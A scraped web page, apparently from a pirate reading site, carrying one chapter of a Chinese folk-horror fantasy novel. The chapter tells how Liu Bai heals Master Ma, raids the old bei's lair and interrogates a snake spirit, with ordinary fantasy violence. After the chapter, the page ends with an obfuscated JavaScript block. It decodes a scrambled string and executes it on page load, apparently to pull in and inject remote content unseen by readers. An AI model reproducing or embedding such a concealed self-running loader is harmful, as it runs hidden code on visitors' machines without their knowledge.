返回

民俗:婴儿开局,娘亲脱下画皮

首页
关灯
护眼
字体:
第一百零二章 我娘托我问句话(1000月票加更)
马老爷没死,只是从脸色上来看,很差,差劲的很,甚至柳白都要以为他是不是快要嗝屁了。

可饶是如此,马老爷的一双虎目依旧圆睁,死死地盯着自己,而后沉着声音说道:

“你是哪来的过江龙?!”

“我们这地儿,可是那老狈的,你来这截道,就不怕压不过它?!”

事已至此,几乎到了无路可走的地步了。

马老爷仍旧在挑拨着眼前这头诡物跟老狈的关系,寄希望于自己死了以后,这诡物能跟那老狈打上一场。

就算打不死,打个半残也行啊。

可让他失望的是,他说完这话之后,这诡物竟然没有半点反应,只是直直地盯着自己。

是的,柳白就这么看着眼前躺在床上的马老爷。

都说这人的那口心气散了,人就会老的非常快。

他也没想到,只是这么一年多的时间没见着,马老爷会老成现在这副模样。

原本花白的头发,已经快变得跟全白差不多了,脸上也满是皱纹。

那双炯炯有神的虎目,现在也是浑浊了许多。

若不是身上气血犹在,一身命火犹燃,他其实跟镇子里头那些老翁也没多大区别了。

而他这次受的伤,是在他小腹的位置。

天气热,六子没给他盖被子,只是用衣物盖着,可衣物早已被鲜血染红,还散发着丝丝腐臭的气息。

显然是那伤口化了脓。

马老爷能活到现在,全靠的是走阴人的底子和体魄了。

见其这副模样,马老爷是愈发疑惑,以他多年走阴的经历来看,眼前这的确是个实打实的诡物。

若要对付自己的话……就算是全盛时期的自己,也扛不住它一拳的。

可它为什么不动手呢?

不动手,它来我这做什么?

很快,马老爷就知道这诡物要做什么了,因为他眼睁睁地见着这诡物从怀里摸出来一个布条,然后走到蜡烛上点燃,最后将这燃烧着的布条丢在了自己床底。

以马老爷走阴的经验,岂会不知道这诡物是在做什么?

这分明就是在给自己除祟……随着布条燃尽,马老爷浑身上下都感觉一松。

就这一下,马老爷就知道,自己这次,又死不了了!

只是这诡物……躺在床上的他,猛地扭头看去,可这诡物,哪里有诡物?

整个房间里头,除却那趴在地上生死不知的六子,再没了其他身影。

若不是看着那木门还被踢碎倒在地上,马老爷都要以为,是不是自己得了癔症,幻想出来的了。

恍惚间,马老爷想起了什么。

他记着今天从城里回来的时候,六子好像带着自己在柳家巷子那边停了一阵……

想到这,马老爷只是猜到了什么,但又没敢多想。

有些事,点到为止,刚刚好。

他苦笑着掀开自己的衣物,看着自己腹部那狰狞的伤口,以及那些腐肉。

他又从旁边拿起了一柄短刀,然后倏忽点燃了自己的命火,将这短刀放在命火上边反复燎了几下,便开始割肉。

柳白见着这对自己如此心狠的马老爷,也是没眼看下去了。

最后他又看了看地上的六子,确信自己只是一个大逼兜将他打晕而不是打死过去之后,这才离开。

马老爷的安全问题解决了,那么接下来该解决的,就是那头老狈了。

柳白也不知道那老狈到底是在什么地方。

但是无妨,他一路向北,在找着一头“地皮虫”跟“也青鸟”问了路之后,他很快就大致锁定了那老狈所在的位置。

说起这老狈,和柳白也算是老朋友了。

他当时只是第一次进山,跟着柳娘子去寻那剥皮鬼的时候,就远远地见过那老狈一眼。

没想到,如今竟然还要主动去寻……思量着,柳白一跃上了个山岗。

这山岗无名,但是对面的那山岗却有名,其名为老狈坡。

名字就是黄粱镇的百姓们取的,原由也就是因为这老狈时常在这山上出没。

而此刻,柳白跟这老狈坡之间,也就只是隔着一个小小的山坳了。

他要想过去的话,也就是一振翅的事情。

隔着这么近,如果这老狈真的在这老窝里边的话,那么肯定是能感觉到柳白的气息的。

二者境界也是大差不大的,加上柳白这么过来。

意思几乎不言而喻了,可是……老狈没有现身。

就好似不在这山头上似得。

原本躲在柳白披风里边的小草也是适时钻出个小脑袋,“公子,这老狈最是奸诈了,还得胆小怕死。”

这点,柳白自是知道的。

狼狈为奸……说的便是这狈前腿很短,根本无法走路,只能趴在狼的背上,然后让狼驮着走。

在狼群里边,这狈也就是军师一样的角色。

极为奸诈狡猾,所以说……它不露面也是情理之中,因为它怕死。

但柳白也没惯着,双翅一振,身子便是滑翔过了这小小的山坳,直抵这老狈坡的坡顶。

这山顶到处都是骚味,甚至连林子都长不进来,在这山顶中央还修有一石屋,石屋四周都插着各式皮毛,有些就跟柳白在城里见到的那样,眼珠子还会动。

只一到这,柳白就在这山头上察觉到了好几头邪祟的气息。

屋内有个黑影影影绰绰,头顶高处还有只游隼盘旋,再稍远处的后山,还有条乌梢蛇盘在草丛里边。

还是正儿八经的邪祟,想来都是这老狈的走狗了。

柳白懒得去找,他一步进了石屋,一把掐住那黑影的脖子,也是直到此刻,他才看清。

这黑影是个鬼,还是个癞皮鬼,浑身上下都散发着恶臭,只是抓了一手,柳白就觉得自己的手都被污染了。

所以他很恼,直接一把用力,就将这癞皮鬼的脑袋都捏爆了。

只一下,就有好几枚青珠子落地。

感受着自己身上这暴虐的力量,柳白忍不住嘴角翘起。

果然,当个邪祟就是爽啊!

想当初在那阴脉里边的时候,一头邪祟背后鬼就将自己逼得走投无路。

可现在呢?

差不多实力的癞皮鬼,竟然扛不住自己一手……

他随手捡起了地上的那几枚青珠子,然后出了门。

原本躲在这石屋子后边的那条乌梢蛇,已经亡了命的逃窜了。

而且一边逃还一边招呼着其他的鬼东西,嘴上不停地发出着尖锐的声音。

“风紧,扯呼!”

它一出声,整个老狈坡上的邪祟就都动起来了。

柳白看了眼头顶的游隼,发觉它是往东南方向去了。

柳白没急着追,而是先寻了这乌梢蛇,穿过林木,他当即在那乌梢蛇要钻洞之前,一把揪住了它的尾巴,猛地一拽。

这东西……是个山精。

吃了能涨气血的,而且加上其本身就味道鲜美,所以是许多食肉者的心头好。

柳白也没打算放过这个机会。

知晓了食肉者的诸多门道,但是却苦于没有对象施展……这对于食肉者来说,是一种侮辱!

所以柳白将其拽出来之后,也没急着动手,而是咧着嘴问道:“那老狈去了什么地方?”

乌梢蛇被拿捏着七寸,不敢动弹,再加上山精邪祟这些东西,都是历来胆小。

所以乌梢蛇没有扛事的打算。

“早早的在大王刚进山的时候,狈大王就骑着狼大王跑了。”

甚至都不等柳白继续询问,这乌梢蛇就一股脑地都说了出来。

“狈大王……啊不,那头老狈去了西北边,它在窝子坳那里还有个藏身的地,是个埋的很深的地洞,它铁定是在那的。”

“但是那地洞其实还有个出口,是小蛇我钻洞的时候意外发现的,这位大王就算是找到了那个地洞,那老狈肯定也会从那出口跑掉的。”

看着这如此识时务的乌梢蛇,一时间柳白都有些不好下手了。

许是见着眼前的“大王”没有说话,乌梢蛇又连忙说道:“小蛇可以给大王带路,带路的。”

“还不快点!”

柳白一脚将这乌梢蛇踹飞,后者不惧反喜,连忙说道:“大王请跟小蛇来。”

柳白跟上,他脑海里边跟着就响起了小草的声音。

“这哪里是个蛇精,这分明就是个马屁精。”

“哼哼,这种卖主求荣的乌梢蛇,公子你待会一定得把它给杀了。”

“……”

听着小草的碎碎念。

柳白跟着着乌梢蛇一路朝西北而去,接连翻过了好几座山之后,他便是在前边看到了一座挂着瀑布的断崖。

到了这,乌梢蛇就小心翼翼地说道:“大王,那个地洞就在这断崖前边的山坡上,但是那个出口就在这瀑布中央。”

“大王伱要是朝前边去的话,那老狈肯定就会从这后边的出口跑掉的。”

柳白打量着着四周环境,狡兔三窟……现在看来,这狡狈也有三窟。

杀倒是不难杀,主要是怎么才能不被它溜掉。

柳白难免会在想着,要是娘亲在这的话该会怎么应对?

若是娘亲在的话,恐怕只是说上一声,这老狈就会乖乖的出洞受死吧。

就跟当初的那个剥皮鬼一样。

自己虽然没有娘亲的本事,但作为娘亲唯一的孩子,那也不能给娘丢脸不是。

所以……柳白将在半路抓来的鬼针草用力一抓,顿时这鬼针草的汁液便是低落在了这乌梢蛇的头顶。

“大王你……”

不等其开口,柳白一手将其提起,而后将其尾巴插进了它的嘴中,在用力一握。

这乌梢蛇霎时毙命。

只是毙命之后的它却没再变为阴珠子,而是保留了原貌。

食肉者的手段,果然奏效。

柳白便是拎着这乌梢蛇,往前走了几步,而后鬼体退却化作了人形。

他点着命火,开山辟路,一路来到了那断崖下,大河旁,杀蛇,生火,开烤。

直至这肉香四溢,柳白头也不回地说道:

“我娘托我来问句话,她问你是想死,还是想活?”

——

(今天更了1w4,我在想明天要不要把2k月票的承诺先加更了,虽然还没到,但我先加更,后续你们慢慢投就好了。)

(本章完)


上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();